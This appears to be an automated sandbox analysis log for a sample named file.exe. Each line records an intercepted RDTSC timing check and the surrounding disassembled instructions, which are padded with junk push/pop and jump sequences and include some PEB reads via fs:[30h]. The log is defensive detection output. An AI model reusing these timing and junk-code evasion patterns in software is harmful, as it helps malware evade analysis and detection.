Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1512DBC second address: 1512DC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F6AA0FFB726h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1512DC8 second address: 1512DCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 151290A second address: 1512918 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FFB72Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1512918 second address: 151295C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F6AA0FF7BFFh 0x0000000c jmp 00007F6AA0FF7C05h 0x00000011 popad 0x00000012 jc 00007F6AA0FF7BF8h 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b push edx 0x0000001c jmp 00007F6AA0FF7BFBh 0x00000021 pop edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 151295C second address: 1512966 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F6AA0FFB726h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1512966 second address: 1512983 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FF7C09h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 15167A8 second address: 15167C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F6AA0FFB726h 0x0000000a jmp 00007F6AA0FFB730h 0x0000000f popad 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1453205 second address: 1453222 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F6AA0FF7C06h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1453222 second address: 145323E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F6AA0FFB732h 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F6AA0FFB726h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 145323E second address: 1453255 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007F6AA0FF7BF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 jp 00007F6AA0FF7BF6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1453255 second address: 1453259 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 15250B9 second address: 15250BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 15250BD second address: 15250C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 15250C3 second address: 15250ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F6AA0FF7C00h 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F6AA0FF7BFEh 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 15250ED second address: 1525111 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F6AA0FFB726h 0x00000009 pushad 0x0000000a popad 0x0000000b push edx 0x0000000c pop edx 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jnl 00007F6AA0FFB72Eh 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1525111 second address: 152511B instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6AA0FF7BF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 152511B second address: 1525125 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6AA0FFB72Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1525275 second address: 1525280 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1525280 second address: 1525286 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1533EC7 second address: 1533ED7 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6AA0FF7BF6h 0x00000008 jns 00007F6AA0FF7BF6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 153A69B second address: 153A6C1 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6AA0FFB726h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F6AA0FFB732h 0x0000000f popad 0x00000010 push edi 0x00000011 jp 00007F6AA0FFB72Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 153AAEF second address: 153AAF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 153AAF5 second address: 153AAF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 153AAF9 second address: 153AAFF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 153AAFF second address: 153AB09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F6AA0FFB726h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 153AB09 second address: 153AB0F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 153AD97 second address: 153ADAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F6AA0FFB726h 0x0000000a pushad 0x0000000b popad 0x0000000c push edx 0x0000000d pop edx 0x0000000e popad 0x0000000f jnp 00007F6AA0FFB72Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 153AEEB second address: 153AF07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6AA0FF7BFDh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c jl 00007F6AA0FF7C02h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 153AF07 second address: 153AF0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 153AF0D second address: 153AF1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6AA0FF7BFBh 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 153BA9F second address: 153BAA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 153BAA3 second address: 153BAAD instructions: 0x00000000 rdtsc 0x00000002 ja 00007F6AA0FF7BF6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1540713 second address: 1540717 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1540717 second address: 154071D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 154071D second address: 154073B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F6AA0FFB734h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 154073B second address: 154073F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 15781BF second address: 15781C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 15781C7 second address: 15781D1 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F6AA0FF7BF6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 157AF75 second address: 157AF7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 157AF7B second address: 157AF80 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1592D4E second address: 1592D54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1592D54 second address: 1592D58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1592D58 second address: 1592D62 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6AA0FFB726h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1659D17 second address: 1659D22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1658F8C second address: 1658F91 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1658F91 second address: 1658F9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1658F9E second address: 1658FA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1659568 second address: 165956C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 165956C second address: 1659570 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1659570 second address: 165958A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6AA0FF7C04h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16596DA second address: 16596F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F6AA0FFB738h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16596F7 second address: 1659714 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FF7C04h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1659714 second address: 165971C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 165971C second address: 165973F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 jmp 00007F6AA0FF7C09h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 165973F second address: 1659744 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1659744 second address: 1659756 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F6AA0FF7BFCh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16598A7 second address: 16598AC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16598AC second address: 16598CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6AA0FF7C09h 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16598CE second address: 16598D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16598D2 second address: 16598D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 165C916 second address: 165C91C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 165C91C second address: 165C922 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 165C922 second address: 165C92D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 165F1DD second address: 165F1E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 165F4FE second address: 165F504 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 165F7DB second address: 165F7FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FF7BFDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f jp 00007F6AA0FF7BF8h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 165F7FA second address: 165F80D instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6AA0FFB728h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16609C4 second address: 16609C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16609C8 second address: 16609CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16609CC second address: 16609E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6AA0FF7C01h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16609E3 second address: 16609EA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1662511 second address: 1662515 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1663F51 second address: 1663F66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 jbe 00007F6AA0FFB732h 0x0000000d jbe 00007F6AA0FFB726h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1663F66 second address: 1663F74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F6AA0FF7BFEh 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 750004D second address: 7500053 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500053 second address: 7500057 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500057 second address: 7500086 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FFB72Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007F6AA0FFB72Eh 0x00000012 mov eax, dword ptr fs:[00000030h] 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500086 second address: 7500113 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FF7BFFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esp, 18h 0x0000000c pushad 0x0000000d jmp 00007F6AA0FF7C04h 0x00000012 call 00007F6AA0FF7C02h 0x00000017 mov bx, ax 0x0000001a pop eax 0x0000001b popad 0x0000001c push edx 0x0000001d jmp 00007F6AA0FF7BFAh 0x00000022 mov dword ptr [esp], ebx 0x00000025 pushad 0x00000026 mov cx, 256Dh 0x0000002a pushfd 0x0000002b jmp 00007F6AA0FF7BFAh 0x00000030 adc esi, 5C1DC708h 0x00000036 jmp 00007F6AA0FF7BFBh 0x0000003b popfd 0x0000003c popad 0x0000003d mov ebx, dword ptr [eax+10h] 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007F6AA0FF7C05h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500113 second address: 7500123 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6AA0FFB72Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500123 second address: 7500191 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F6AA0FF7BFCh 0x0000000e mov dword ptr [esp], esi 0x00000011 jmp 00007F6AA0FF7C00h 0x00000016 mov esi, dword ptr [759B06ECh] 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F6AA0FF7BFEh 0x00000023 sbb esi, 439ABE28h 0x00000029 jmp 00007F6AA0FF7BFBh 0x0000002e popfd 0x0000002f popad 0x00000030 test esi, esi 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F6AA0FF7C07h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500191 second address: 7500197 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500197 second address: 75001BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FF7C04h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F6AA0FF8AD5h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 75001BB second address: 75001BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 75001BF second address: 75001DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FF7C09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 75001DC second address: 7500235 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FFB731h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a pushad 0x0000000b jmp 00007F6AA0FFB72Ch 0x00000010 pushfd 0x00000011 jmp 00007F6AA0FFB732h 0x00000016 sub eax, 58464AD8h 0x0000001c jmp 00007F6AA0FFB72Bh 0x00000021 popfd 0x00000022 popad 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F6AA0FFB72Bh 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500235 second address: 750023B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 750023B second address: 750024A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6AA0FFB72Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 750024A second address: 75002F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, edi 0x00000009 jmp 00007F6AA0FF7C05h 0x0000000e call dword ptr [75980B60h] 0x00000014 mov eax, 75F3E5E0h 0x00000019 ret 0x0000001a jmp 00007F6AA0FF7BFEh 0x0000001f push 00000044h 0x00000021 jmp 00007F6AA0FF7C00h 0x00000026 pop edi 0x00000027 pushad 0x00000028 mov edx, eax 0x0000002a pushfd 0x0000002b jmp 00007F6AA0FF7BFAh 0x00000030 add cl, 00000028h 0x00000033 jmp 00007F6AA0FF7BFBh 0x00000038 popfd 0x00000039 popad 0x0000003a xchg eax, edi 0x0000003b pushad 0x0000003c mov cl, F5h 0x0000003e pushad 0x0000003f pushfd 0x00000040 jmp 00007F6AA0FF7C07h 0x00000045 sub eax, 47950B1Eh 0x0000004b jmp 00007F6AA0FF7C09h 0x00000050 popfd 0x00000051 push ecx 0x00000052 pop edi 0x00000053 popad 0x00000054 popad 0x00000055 push eax 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a pushad 0x0000005b popad 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 75002F5 second address: 750030B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FFB732h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 750030B second address: 7500311 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500311 second address: 750038F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, edi 0x00000009 pushad 0x0000000a mov ax, bx 0x0000000d mov eax, edx 0x0000000f popad 0x00000010 push dword ptr [eax] 0x00000012 jmp 00007F6AA0FFB72Dh 0x00000017 mov eax, dword ptr fs:[00000030h] 0x0000001d jmp 00007F6AA0FFB72Eh 0x00000022 push dword ptr [eax+18h] 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 pushfd 0x00000029 jmp 00007F6AA0FFB72Dh 0x0000002e jmp 00007F6AA0FFB72Bh 0x00000033 popfd 0x00000034 pushfd 0x00000035 jmp 00007F6AA0FFB738h 0x0000003a sub ax, 0F68h 0x0000003f jmp 00007F6AA0FFB72Bh 0x00000044 popfd 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 75003EB second address: 7500412 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FF7C09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub eax, eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov ebx, esi 0x00000010 push ecx 0x00000011 pop edx 0x00000012 popad 0x00000013 rdtsc
